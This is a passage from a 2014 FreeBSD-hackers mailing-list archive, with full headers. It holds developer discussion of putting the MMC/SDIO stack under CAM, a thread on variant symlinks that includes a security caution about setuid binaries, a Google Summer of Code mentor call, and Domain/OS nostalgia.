4D32516CD; Mon, 24 Feb 2014 15:59:41 +0000 (UTC) Received: by mail-qc0-f180.google.com with SMTP id i17so9208241qcy.25 for ; Mon, 24 Feb 2014 07:59:40 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type:content-transfer-encoding; bh=PahaQLMQTOHd1z7R7M2aVktrw9JWHTLBAC1nkz94mag=; b=K+BA6l4mlNuxQd6sozc7OPf4KYF0Sk2Mo9Hjz8l/0jA79KjWAVi3FEg5aY7AO/M0RP xRChV1SVV2Mp2GL4KGksomLS1Y9f+iqDUrUzgrjFls0SsWuwUKu4dvoeIFzF9YQYCjPY fxZC7j2DmIeVpnCW+FexU0KWyeX9NuDUuhFcQpAYnX/3P//S4TeRdmdS/Z/a6WJkYQe+ 82qJwJfXPEbliRgMU4b6x35MJaKGVjxq5QqmGlQb193Exmn1kCEwLtyHe7b9C2wCQR4O Fa59Szeq6RHtXJH5fm6hI95hicGHYNSUuI51dqISNicPw0Loz7utzhgNDVfS+M5cqTVN /j9A== MIME-Version: 1.0 X-Received: by 10.224.121.137 with SMTP id h9mr31128161qar.55.1393257580418; Mon, 24 Feb 2014 07:59:40 -0800 (PST) Received: by 10.224.16.10 with HTTP; Mon, 24 Feb 2014 07:59:40 -0800 (PST) In-Reply-To: <20140224142642.GA32538@olymp.kibab.com> References: <20140216111153.GA74858@olymp.kibab.com> <5C2CF572-360D-4CA0-81C7-18A5C455AED5@bsdimp.com> <20140224142642.GA32538@olymp.kibab.com> Date: Mon, 24 Feb 2014 07:59:40 -0800 Message-ID: Subject: Re: MMC/SDIO stack under CAM From: Adrian Chadd To: Ilya Bakulin Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable X-Mailman-Approved-At: Mon, 24 Feb 2014 16:56:04 +0000 Cc: "freebsd-hackers@freebsd.org" , Alexander Motin , "freebsd-arm@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 24 Feb 2014 15:59:41 -0000 hi, Let me just reiterate some .. well, experience doing this stuff at QCA. You really, absolutely don't want too much overhead in the MMC/SDIO path between whatever is issuing things and the network driver. There was significant performance work done at QCA on a local MMC/SDIO driver and bus to get extremely low latency and CPU utilisation when pushing around small transactions. The current CAM locking model is not geared towards getting to high transaction rates. You may think this is a very architecturally pretty solution and it indeed may be. But if it doesn't perform as well as the existing local hacks that vendors have done, no company deploying this hardware is going to want to use it. They'll end up realising there's this massive CAM storage layer in between and either have to sit down to rip it up and replace it with something lightweight, or they'll say "screw it" and go back to the vendor supplied hacked up Linux solution. So I highly recommend you profile things - and profile things with lots of small transactions. If the CAM overhead is more than a tiny, tiny fraction of CPU at 25,000 pps, your solution won't scale. :-) -a On 24 February 2014 06:26, Ilya Bakulin wrote: > On Sun, Feb 16, 2014 at 11:05:35AM -0700, Warner Losh wrote: >> that's cool! I'd thought of writing a mmcsim that I could use to develop= the stack on x86, but time pressures of my job precluded that (though in h= ind sight, it would have saved a lot of time). > > I assume that by "mmcsim" you mean not MMC SIM for CAM, but MMC SIMulator= :-) > Yeah so essentially it should be able to return some "fake" data > to the upper layer, maybe based on configuration (ie 1 GB SD, 16 GB SDHC,= ...). > >> > For SDIO card, the situation will be different. Essentially, >> > we should allow a device driver to send arbitrary messages to the card= . >> > So the device driver will attach directly to the scbus. >> > >> > Please let me know your thoughts about it. >> > I really want SDIO make its way into the kernel, because there >> > is an increasing number of ARM boards on the market that have integrat= ed >> > SDIO WLAN on them and we cannot support them fully. >> >> Generally, I like this idea... I'd be very interested in some of the sp= ecifics to make the direct attachment work with SDIO. That's the one area I= either don't think I understand your proposal well enough, or I do and I'm= concerned about it. :) So maybe write a bit more about the details of the = SDIO cards and how they's interact with CAM in this scenario... >> >> The notion of moving MMC/SD into the CAM stack has been around since I s= tarted working on MMC. At the time, CAM was too SCSI centric to do it, but = Alexander Motin's work has generally improved that situation, so it may be = possible now to do it and shake out the few dark corners of CAM where this = isn't the case. I also think it should help performance a lot since we're c= urrently single threaded to the card (but that's also the nature of the bus= ), which introduces some round-trip latencies between too many threads that= CAM may help us avoid. >> >> Warner > > After talking with Alexander about CAM, here is the updated proposal: > > * All card communication logic should be placed in MMC XPT layer, with th= e new CCB type > that describes MMC request + some data needed by the system. > So almost everything from sys/dev/mmc/mmc.c goes there. > * da(4) is a driver for SCSI disks. It makes more sense to adapt mmcsd(4)= to use CAM. > So mmcsd(4) will create CCBs and pass them to CAM layer, getting async = notifications > via standard CAM callback mechanism. > * It is possible to write drivers for SDIO devices exactly like adopted m= mcsd(4). > Every such driver would be then built as CAM peripheral driver, which m= eans it will be able > to send/receive CCBs. > To do that, every driver has to call PERIPHDRIVER_DECLARE() macro, subs= cribing to CAM "new device found" events. > > The ongoing work for MMC CAM is here: > https://github.com/kibab/freebsd/compare/master...mmccam > Not so much stuff here yet. > > PS: In theory, ssince there is already an existing interface for passing = CAM CCBs between userland and kernel, > it WOULD be posssible to create device drivers entirely in userland... Li= ke microkernel OSes do. > But our network stack doesn'have such feature I guess... > > -- > Ilya From owner-freebsd-hackers@FreeBSD.ORG Mon Feb 24 18:31:09 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 2772EDF3 for ; Mon, 24 Feb 2014 18:31:09 +0000 (UTC) Received: from cyrus.watson.org (cyrus.watson.org [198.74.231.69]) by mx1.freebsd.org (Postfix) with ESMTP id D9C4B168C for ; Mon, 24 Feb 2014 18:31:08 +0000 (UTC) Received: from fledge.watson.org (fledge.watson.org [198.74.231.63]) by cyrus.watson.org (Postfix) with ESMTPS id 7E4BB46B39; Mon, 24 Feb 2014 13:31:08 -0500 (EST) Date: Mon, 24 Feb 2014 18:31:08 +0000 (GMT) From: Robert Watson X-X-Sender: robert@fledge.watson.org To: Jordan Hubbard Subject: Re: Thoughts on Multi-Symlink Concept In-Reply-To: <43505B61-FAE8-4A61-922E-78F6007BBFC3@gmail.com> Message-ID: References: <530049a1.XXZ1PjZFgRyCu9X6%perryh@pluto.rain.com> <53092D83.6050603@digiware.nl> <43505B61-FAE8-4A61-922E-78F6007BBFC3@gmail.com> User-Agent: Alpine 2.00 (BSF 1167 2008-08-23) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=windows-1252; format=flowed Content-Transfer-Encoding: 8BIT X-Content-Filtered-By: Mailman/MimeDel 2.1.17 Cc: freebsd-filesystems@freebsd.org, freebsd-hackers@freebsd.org, Willem Jan Withagen , Perry Hutchison X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 24 Feb 2014 18:31:09 -0000 On Sat, 22 Feb 2014, Jordan Hubbard wrote: >> Yes, please can we get these .... >> >> Apollo Domain systems had those, and they were great. Set SYSTYPE to BSD4 >> and get the BSD tree and all that came with it, or SYSV to get the other >> stuff. > > Yep, I loved these things on Domain/OS! We system admin types used them to > do all kinds of clever (and useful) things. > > Looks like FreeBSD has actually *had* an implementation for 6 years now. I > don’t necessarily agree with the architectural decision to create a > different namespace and command (varsym) to manipulate it - it was really > nice just having it be a part of the standard environ(7) - but hey, any > implementation is better than no implementation. Whatever happened to > https://wiki.freebsd.org/200808DevSummit?action=AttachFile&do=get&target=variant-symlinks-for-freebsd.pdf > ? Some care is required here: at least one of the past implementations floating around had the neat property that user-defined symlink expansions occurred before system-defined ones, even for setuid binaries. This allowed trivial replacement of libraries out from under a binary, making rooting boxes easy. I'm actually a fan of variant symlinks as well, having used them in AFS -- I'd just prefer we aim for a model that minimises inconvenient rooting of boxes. (I'm not passing judgement on this particular patch, mind you.) I believe Brooks Davis did the last serious pass at variant symlinks and might opine further on the topic. Robert From owner-freebsd-hackers@FreeBSD.ORG Mon Feb 24 18:37:53 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id EB91B26C; Mon, 24 Feb 2014 18:37:53 +0000 (UTC) Received: from co9outboundpool.messaging.microsoft.com (co9ehsobe002.messaging.microsoft.com [207.46.163.25]) (using TLSv1 with cipher AES128-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 93B931780; Mon, 24 Feb 2014 18:37:52 +0000 (UTC) Received: from mail44-co9-R.bigfish.com (10.236.132.237) by CO9EHSOBE023.bigfish.com (10.236.130.86) with Microsoft SMTP Server id 14.1.225.22; Mon, 24 Feb 2014 18:37:45 +0000 Received: from mail44-co9 (localhost [127.0.0.1]) by mail44-co9-R.bigfish.com (Postfix) with ESMTP id B9566C803E6; Mon, 24 Feb 2014 18:37:45 +0000 (UTC) X-Forefront-Antispam-Report: CIP:157.56.240.101; KIP:(null); UIP:(null); IPV:NLI; H:BL2PRD0510HT001.namprd05.prod.outlook.com; RD:none; EFVD:NLI X-SpamScore: -2 X-BigFish: VPS-2(zz98dI9371I542I1432Izz1f42h2148h208ch1ee6h1de0h1fdah2073h2146h1202h1e76h2189h1d1ah1d2ah21bch1fc6hzz1de098h8275dh1de097h186068hz2fh109h2a8h839h944hd24hf0ah1220h1288h12a5h12a9h12bdh137ah13b6h1441h1504h1537h153bh162dh1631h1758h18e1h1946h19b5h19ceh1ad9h1b0ah224fh1d07h1d0ch1d2eh1d3fh1de9h1dfeh1dffh1fe8h1ff5h2216h22d0h2336h2461h2487h24ach24d7h2516h2545h255eh9a9j1155h) Received-SPF: pass (mail44-co9: domain of juniper.net designates 157.56.240.101 as permitted sender) client-ip=157.56.240.101; envelope-from=aduane@juniper.net; helo=BL2PRD0510HT001.namprd05.prod.outlook.com ; .outlook.com ; X-Forefront-Antispam-Report-Untrusted: SFV:NSPM; SFS:(10009001)(6009001)(377454003)(199002)(189002)(13464003)(24454002)(51704005)(54316002)(81686001)(53806001)(54356001)(46102001)(51856001)(76482001)(19580395003)(56776001)(95666003)(31966008)(74366001)(81816001)(74316001)(15975445006)(47446002)(74662001)(33646001)(47976001)(92566001)(94946001)(74502001)(94316002)(93516002)(93136001)(86362001)(47736001)(74876001)(49866001)(85852003)(74706001)(56816005)(90146001)(83072002)(80022001)(65816001)(87936001)(83322001)(19580405001)(95416001)(69226001)(4396001)(50986001)(79102001)(66066001)(63696002)(87266001)(76576001)(76796001)(59766001)(77982001)(76786001)(2656002)(80976001)(81542001)(85306002)(81342001)(24736002); DIR:OUT; SFP:1101; SCL:1; SRVR:BY2PR05MB775; H:BY2PR05MB582.namprd05.prod.outlook.com; CLIP:66.129.241.12; FPR:BCC1D6DC.AEDA7D16.32F5BD7B.4EF1D94B.20382; PTR:InfoNoRecords; A:1; MX:1; LANG:en; Received: from mail44-co9 (localhost.localdomain [127.0.0.1]) by mail44-co9 (MessageSwitch) id 1393267063714704_3014; Mon, 24 Feb 2014 18:37:43 +0000 (UTC) Received: from CO9EHSMHS005.bigfish.com (unknown [10.236.132.250]) by mail44-co9.bigfish.com (Postfix) with ESMTP id A8B2B8C0047; Mon, 24 Feb 2014 18:37:43 +0000 (UTC) Received: from BL2PRD0510HT001.namprd05.prod.outlook.com (157.56.240.101) by CO9EHSMHS005.bigfish.com (10.236.130.15) with Microsoft SMTP Server (TLS) id 14.16.227.3; Mon, 24 Feb 2014 18:37:43 +0000 Received: from BY2PR05MB775.namprd05.prod.outlook.com (10.141.224.152) by BL2PRD0510HT001.namprd05.prod.outlook.com (10.255.100.36) with Microsoft SMTP Server (TLS) id 14.16.411.0; Mon, 24 Feb 2014 18:37:42 +0000 Received: from BY2PR05MB582.namprd05.prod.outlook.com (10.141.219.146) by BY2PR05MB775.namprd05.prod.outlook.com (10.141.224.152) with Microsoft SMTP Server (TLS) id 15.0.883.10; Mon, 24 Feb 2014 18:37:40 +0000 Received: from BY2PR05MB582.namprd05.prod.outlook.com ([10.141.219.146]) by BY2PR05MB582.namprd05.prod.outlook.com ([10.141.219.146]) with mapi id 15.00.0883.010; Mon, 24 Feb 2014 18:37:40 +0000 From: Andrew Duane To: Robert Watson , Jordan Hubbard Subject: RE: Thoughts on Multi-Symlink Concept Thread-Topic: Thoughts on Multi-Symlink Concept Thread-Index: AQHPMCLWAfcQ8HrO+ky5HMi/vn1+QZrEvQ4sgAAA7RA= Date: Mon, 24 Feb 2014 18:37:39 +0000 Message-ID: References: <530049a1.XXZ1PjZFgRyCu9X6%perryh@pluto.rain.com> <53092D83.6050603@digiware.nl> <43505B61-FAE8-4A61-922E-78F6007BBFC3@gmail.com> In-Reply-To: Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: x-originating-ip: [66.129.241.12] x-forefront-prvs: 0132C558ED Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 X-OriginatorOrg: juniper.net X-FOPE-CONNECTOR: Id%0$Dn%*$RO%0$TLS%0$FQDN%$TlsDn% Cc: "freebsd-filesystems@freebsd.org" , "freebsd-hackers@freebsd.org" , Willem Jan Withagen , Perry Hutchison X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 24 Feb 2014 18:37:54 -0000 -----Original Message----- From: owner-freebsd-hackers@freebsd.org [mailto:owner-freebsd-hackers@freeb= sd.org] On Behalf Of Robert Watson Sent: Monday, February 24, 2014 1:31 PM To: Jordan Hubbard Cc: freebsd-filesystems@freebsd.org; freebsd-hackers@freebsd.org; Willem Ja= n Withagen; Perry Hutchison Subject: Re: Thoughts on Multi-Symlink Concept On Sat, 22 Feb 2014, Jordan Hubbard wrote: >>> Apollo Domain systems had those, and they were great. Set SYSTYPE to BS= D4=20 >>> and get the BSD tree and all that came with it, or SYSV to get the othe= r=20 >.> stuff. >> >> Yep, I loved these things on Domain/OS! We system admin types used them= to=20 >> do all kinds of clever (and useful) things. >> >> Looks like FreeBSD has actually *had* an implementation for 6 years now.= I=20 >> don't necessarily agree with the architectural decision to create a=20 >> different namespace and command (varsym) to manipulate it - it was reall= y=20 >> nice just having it be a part of the standard environ(7) - but hey, any= =20 >> implementation is better than no implementation. Whatever happened to=20 >> https://wiki.freebsd.org/200808DevSummit?action=3DAttachFile&do=3Dget&ta= rget=3Dvariant-symlinks-for-freebsd.pdf? > >Some care is required here: at least one of the past implementations float= ing=20 >around had the neat property that user-defined symlink expansions occurred= =20 >before system-defined ones, even for setuid binaries. This allowed trivia= l=20 >replacement of libraries out from under a binary, making rooting boxes eas= y.=20 >I'm actually a fan of variant symlinks as well, having used them in AFS --= I'd=20 >just prefer we aim for a model that minimises inconvenient rooting of boxe= s.=20 >(I'm not passing judgement on this particular patch, mind you.) I believe= =20 >Brooks Davis did the last serious pass at variant symlinks and might opine= =20 >further on the topic. > >Robert I'd also be careful of violating the Principle of Least Astonishment with a= ny Implementation. Multi or Variable symlnks that suddenly change meaning Can really confound people. /Andrew From owner-freebsd-hackers@FreeBSD.ORG Mon Feb 24 19:46:16 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 6E2587E9; Mon, 24 Feb 2014 19:46:16 +0000 (UTC) Received: from lor.one-eyed-alien.net (lor.one-eyed-alien.net [69.66.77.232]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id C86041F69; Mon, 24 Feb 2014 19:46:14 +0000 (UTC) Received: from lor.one-eyed-alien.net (localhost [127.0.0.1]) by lor.one-eyed-alien.net (8.14.7/8.14.7) with ESMTP id s1OJk9kR066841; Mon, 24 Feb 2014 13:46:09 -0600 (CST) (envelope-from brooks@lor.one-eyed-alien.net) Received: (from brooks@localhost) by lor.one-eyed-alien.net (8.14.7/8.14.7/Submit) id s1OJk8aH066840; Mon, 24 Feb 2014 13:46:08 -0600 (CST) (envelope-from brooks) Date: Mon, 24 Feb 2014 13:46:08 -0600 From: Brooks Davis To: Robert Watson Subject: Re: Thoughts on Multi-Symlink Concept Message-ID: <20140224194608.GD18404@lor.one-eyed-alien.net> References: <530049a1.XXZ1PjZFgRyCu9X6%perryh@pluto.rain.com> <53092D83.6050603@digiware.nl> <43505B61-FAE8-4A61-922E-78F6007BBFC3@gmail.com> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="zCKi3GIZzVBPywwA" Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) Cc: freebsd-filesystems@freebsd.org, freebsd-hackers@freebsd.org, Jordan Hubbard , Willem Jan Withagen , Perry Hutchison X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 24 Feb 2014 19:46:16 -0000 --zCKi3GIZzVBPywwA Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Mon, Feb 24, 2014 at 06:31:08PM +0000, Robert Watson wrote: > On Sat, 22 Feb 2014, Jordan Hubbard wrote: >=20 > >> Yes, please can we get these .... > >> > >> Apollo Domain systems had those, and they were great. Set SYSTYPE to B= SD4=20 > >> and get the BSD tree and all that came with it, or SYSV to get the oth= er=20 > >> stuff. > > > > Yep, I loved these things on Domain/OS! We system admin types used the= m to=20 > > do all kinds of clever (and useful) things. > > > > Looks like FreeBSD has actually *had* an implementation for 6 years now= =2E I=20 > > don?t necessarily agree with the architectural decision to create a=20 > > different namespace and command (varsym) to manipulate it - it was real= ly=20 > > nice just having it be a part of the standard environ(7) - but hey, any= =20 > > implementation is better than no implementation. Whatever happened to= =20 > > https://wiki.freebsd.org/200808DevSummit?action=3DAttachFile&do=3Dget&t= arget=3Dvariant-symlinks-for-freebsd.pdf=20 > > ? >=20 > Some care is required here: at least one of the past implementations floa= ting=20 > around had the neat property that user-defined symlink expansions occurre= d=20 > before system-defined ones, even for setuid binaries. This allowed trivi= al=20 > replacement of libraries out from under a binary, making rooting boxes ea= sy.=20 > I'm actually a fan of variant symlinks as well, having used them in AFS -= - I'd=20 > just prefer we aim for a model that minimises inconvenient rooting of box= es.=20 > (I'm not passing judgement on this particular patch, mind you.) I believ= e=20 > Brooks Davis did the last serious pass at variant symlinks and might opin= e=20 > further on the topic. The version I wrote worked find last time I ported it forward (20 months or so ago). There's a copy in svn that's the latest. The thing that's held me back from committing it is lack to time to do some solid macro and micro benchmarks to determine what the performance impact is when it's compiled in, but disabled. It should probably just be updated, reviewed by a VFS person and committed. I believe I've successfully avoided the pitfalls Robert describes. -- Brooks --zCKi3GIZzVBPywwA Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.11 (FreeBSD) iKYEARECAGYFAlMLoX9fFIAAAAAALgAoaXNzdWVyLWZwckBub3RhdGlvbnMub3Bl bnBncC5maWZ0aGhvcnNlbWFuLm5ldDY1NUQ1MTlDMjZBNzgyRTcyNTI5OUJGMDVE OEU4QkU5RjIzODFBRDQACgkQXY6L6fI4GtSO0QCg44VpZO1+EJ4lMnhMFaFoiMLh O7MAnRC1zEZwNryohiAx27k+XfFbXn/M =ldgi -----END PGP SIGNATURE----- --zCKi3GIZzVBPywwA-- From owner-freebsd-hackers@FreeBSD.ORG Mon Feb 24 23:21:28 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 2A9BE7B3; Mon, 24 Feb 2014 23:21:28 +0000 (UTC) Received: from freebsd.czest.pl (freebsd.czest.pl [212.87.224.105]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id B081D13CE; Mon, 24 Feb 2014 23:21:27 +0000 (UTC) Received: from freebsd.czest.pl (freebsd.czest.pl [212.87.224.105]) by freebsd.czest.pl (8.14.5/8.14.5) with ESMTP id s1ONKMmZ056238; Mon, 24 Feb 2014 23:20:22 GMT (envelope-from wkoszek@freebsd.czest.pl) Received: (from wkoszek@localhost) by freebsd.czest.pl (8.14.5/8.14.5/Submit) id s1ONKMMl056237; Mon, 24 Feb 2014 23:20:22 GMT (envelope-from wkoszek) Date: Mon, 24 Feb 2014 23:20:22 +0000 From: "Wojciech A. Koszek" To: freebsd-hackers@freebsd.org, freebsd-current@freebsd.org, soc-status@freebsd.org Subject: FreeBSD in GSoC 2014! (mentors wanted) Message-ID: <20140224232022.GM47836@FreeBSD.org> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline User-Agent: Mutt/1.5.21 (2010-09-15) X-Spam-Status: No, score=-0.4 required=5.0 tests=RP_MATCHES_RCVD, SPF_HELO_PASS, SPF_PASS autolearn=ham version=3.3.2 X-Spam-Checker-Version: SpamAssassin 3.3.2 (2011-06-06) on freebsd.czest.pl X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.2.7 (freebsd.czest.pl [212.87.224.105]); Mon, 24 Feb 2014 23:20:26 +0000 (UTC) X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 24 Feb 2014 23:21:28 -0000 (cross-posted message; keep discussion on hackers@ only) Hello, So we're in GSOC 2014! Our logo is featured on the main website: http://www.google-melange.com/gsoc/homepage/google/gsoc2014 Everybody can submit ideas through a web form: http://tinyurl.com/FreeBSD-GSOC2014 To help, please add/review/revisit ideas from the FreeBSD Wiki and provide mentorship! https://wiki.freebsd.org/SummerOfCode2014 There are ideas without mentors and ideas with only 1 mentor, as well as tasks which haven't been reviewed.. Help would be appreciated, Thanks, -- Wojciech A. Koszek wkoszek@FreeBSD.czest.pl http://FreeBSD.czest.pl/~wkoszek/ From owner-freebsd-hackers@FreeBSD.ORG Tue Feb 25 00:18:37 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 44661B4B for ; Tue, 25 Feb 2014 00:18:37 +0000 (UTC) Received: from mailhost.m5p.com (ip-2-1-0-2.r03.asbnva02.us.ce.gin.ntt.net [IPv6:2001:418:0:5000::16]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id EE927185B for ; Tue, 25 Feb 2014 00:18:36 +0000 (UTC) Received: from wonderland.m5p.com (localhost [IPv6:::1]) by mailhost.m5p.com (8.14.5/8.14.5) with ESMTP id s1P0Hsei075058 for ; Mon, 24 Feb 2014 19:18:34 -0500 (EST) (envelope-from george+freebsd@m5p.com) Message-ID: <530BE132.1030507@m5p.com> Date: Mon, 24 Feb 2014 19:17:54 -0500 From: George Mitchell User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: freebsd-hackers@freebsd.org Subject: Re: Thoughts on Multi-Symlink Concept References: <530049a1.XXZ1PjZFgRyCu9X6%perryh@pluto.rain.com> <53092D83.6050603@digiware.nl> <43505B61-FAE8-4A61-922E-78F6007BBFC3@gmail.com> In-Reply-To: <43505B61-FAE8-4A61-922E-78F6007BBFC3@gmail.com> Content-Type: text/plain; charset=windows-1252; format=flowed Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.73 on 10.100.0.3 X-Greylist: Sender passed SPF test, not delayed by milter-greylist-4.2.7 (mailhost.m5p.com [IPv6:::1]); Mon, 24 Feb 2014 19:18:35 -0500 (EST) X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 25 Feb 2014 00:18:37 -0000 On 02/22/14 21:45, Jordan Hubbard wrote: > > On Feb 22, 2014, at 3:06 PM, Willem Jan Withagen wrote: > >> Yes, please can we get these .... >> >> Apollo Domain systems had those, and they were great. >> Set SYSTYPE to BSD4 and get the BSD tree and all that came with it, or >> SYSV to get the other stuff. > [...] Since we're going down DomainOS Memory Lane, does anyone else miss transcript pads? -- George From owner-freebsd-hackers@FreeBSD.ORG Tue Feb 25 01:20:50 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 759E47C6 for ; Tue, 25 Feb 2014 01:20:50 +0000 (UTC) Received: from mail.netplex.net (mail.netplex.net [204.213.176.9]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 345F81CCE for ; Tue, 25 Feb 2014 01:20:49 +0000 (UTC) Received: from sea.ntplx.net (sea.ntplx.net [204.213.176.11]) by mail.netplex.net (8.14.8/8.14.8/NETPLEX) with ESMTP id s1P1Kfr7064278; Mon, 24 Feb 2014 20:20:41 -0500 X-Virus-Scanned: by AMaViS and Clam AntiVirus (mail.netplex.net) X-Greylist: Message whitelisted by DRAC access database, not delayed by milter-greylist-4.4.3 (mail.netplex.net [204.213.176.9]); Mon, 24 Feb 2014 20:20:42 -0500 (EST) Date: Mon, 24 Feb 2014 20:20:41 -0500 (EST) From: Daniel Eischen X-X-Sender: eischen@sea.ntplx.net To: George Mitchell Subject: Re: Thoughts on Multi-Symlink Concept In-Reply-To: <530BE132.1030507@m5p.com> Message-ID: References: <530049a1.XXZ1PjZFgRyCu9X6%perryh@pluto.rain.com> <53092D83.6050603@digiware.nl> <43505B61-FAE8-4A61-922E-78F6007BBFC3@gmail.com> <530BE132.1030507@m5p.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list Reply-To: Daniel Eischen List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 25 Feb 2014 01:20:50 -0000 On Mon, 24 Feb 2014, George Mitchell wrote: > On 02/22/14 21:45, Jordan Hubbard wrote: >> >> On Feb 22, 2014, at 3:06 PM, Willem Jan Withagen wrote: >> >>> Yes, please can we get these .... >>> >>> Apollo Domain systems had those, and they were great. >>> Set SYSTYPE to BSD4 and get the BSD tree and all that came with it, or >>> SYSV to get the other stuff. >> [...] > > Since we're going down DomainOS Memory Lane, does anyone else miss > transcript pads? -- George I missed the transcript pad too. I also missed the DM editor and the ability to write DM scripts. And I miss the edit pad - the first time I was able to do a rectangular cut/paste/move. And I loved the ability to place the cursor beyond the current end of a line and start typing (without clicking the mouse!). I hate having to hold down the space bar, adding blanks, to get out to the column I want (suppose your coding conventions disallow tabs). -- DE From owner-freebsd-hackers@FreeBSD.ORG Tue Feb 25 02:55:37 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 557392B4; Tue, 25 Feb 2014 02:55:37 +0000 (UTC) Received: from vps1.elischer.org (vps1.elischer.org [204.109.63.16]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 08B5415B3; Tue, 25 Feb 2014 02:55:36 +0000 (UTC) Received: from jre-mbp.elischer.org (ppp121-45-232-70.lns20.per1.internode.on.net [121.45.232.70]) (authenticated bits=0) by vps1.elischer.org (8.14.7/8.14.7) with ESMTP id s1P2tUq5051258 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NO); Mon, 24 Feb 2014 18:55:33 -0800 (PST) (envelope-from julian@freebsd.org) Message-ID: <530C061C.9020803@freebsd.org> Date: Tue, 25 Feb 2014 10:55:24 +0800 From: Julian Elischer User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: Willem Jan Withagen , gljennjohn@gmail.com, Daniel Eischen Subject: Re: Thoughts on 